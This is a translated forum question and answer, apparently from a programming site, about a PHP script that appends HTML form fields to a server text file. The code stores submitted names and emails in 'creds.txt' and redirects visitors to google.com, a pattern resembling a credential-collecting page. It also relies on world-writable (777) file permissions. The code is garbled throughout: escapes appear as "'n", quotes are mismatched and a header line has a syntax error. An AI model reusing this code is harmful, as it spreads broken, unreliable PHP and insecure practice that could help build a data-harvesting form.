使用PHP编写TXT


Writing to TXT using PHP

我正在尝试解析HTML文件中输入的文本。我的代码应该调用一个PHP脚本,将输入的字段输出到服务器上的.txt文件中。我已经确保在网络服务器上给CHMOD 777访问.txt的权限,但在我单击"提交"后,没有任何内容被附加到该文件中。任何帮助都将不胜感激,为糟糕的语法和形式道歉。

HTML表单代码:

<form action="process.php" method="post">
<tr><td align="right">Name:</td><td><input name="auth_name" type="text" style="border: 1px dashed;"></td></tr>
                                                                                    <tr><td>&nbsp;</td></tr>
                                                                                       <tr>
                                                                                            <td align="right">E-mail Address:</td><td><input name="auth_mail" type="text" style="border: 1px dashed;"></td></tr>
<tr><td>&nbsp;</td></tr>
<tr>

PHP表单代码

<?php
if (isset ($_POST['submit'])) {
$user = $_POST['auth_name'];
$mail = $_POST['auth_mail'];
$border = "=================================='n";
$creds = 'creds.txt';
if (is_writeable($creds)) {
    $creds_handle = fopen($creds, 'a') or die("Can't open file");
    fwrite($creds_handle, $border);
    fwrite($creds_handle, $user);
    fwrite($creds_handle, "'n");
    fwrite($creds_handle, $mail);
    fwrite($creds_handle, "'n");
    fwrite($creds_handle, $border);
}
fclose($creds_handle);
session_start();
$_SESSION['valid'] = '1';
$host  = $_SERVER['HTTP_HOST'];
$uri   = rtrim(dirname($_SERVER['PHP_SELF']), '/''');
$extra = 'success.html';
header("Location: http://www.google.com");
}
else { die("Form submit failed"); }
?>

使用file_get_contents()file_put_contents()函数。

示例:

    $file = 'output.txt';
    $buffer = 'my new line here';
    if (file_exists($file)) {
            $buffer = file_get_contents($file) . "'n" . $buffer;
    }
    $success = file_put_contents($file, $buffer);

在表单html代码和</form>标记中添加一个名为submit的输入。

<form action="process.php" method="post">
<tr><td align="right">Name:</td><td><input name="auth_name" type="text" style="border: 1px dashed;"></td></tr>
<tr><td>&nbsp;</td></tr>
<tr>
<td align="right">E-mail Address:</td><td><input name="auth_mail" type="text" style="border: 1px dashed;"></td></tr><tr><td>&nbsp;</td></tr>
<input type="submit" name="submit">
</form>

process.php

<?php
if (isset ($_POST['submit'])) {
$user = $_POST['auth_name'];
$mail = $_POST['auth_mail'];
$border = "=================================='n";
$creds = 'creds.txt';
//if (is_writeable($creds)) {
    $creds_handle = fopen($creds, 'a') or die("Can't open file");
    fwrite($creds_handle, $border);
    fwrite($creds_handle, $user);
    fwrite($creds_handle, "'n");
    fwrite($creds_handle, $mail);
    fwrite($creds_handle, "'n");
    fwrite($creds_handle, $border);
//}
fclose($creds_handle);
session_start();
$_SESSION['valid'] = '1';
$host  = $_SERVER['HTTP_HOST'];
$uri   = rtrim(dirname($_SERVER['PHP_SELF']), '/''');
$extra = 'success.html';
header("Location: ". $extra");
}
else { die("Form submit failed"); }
?>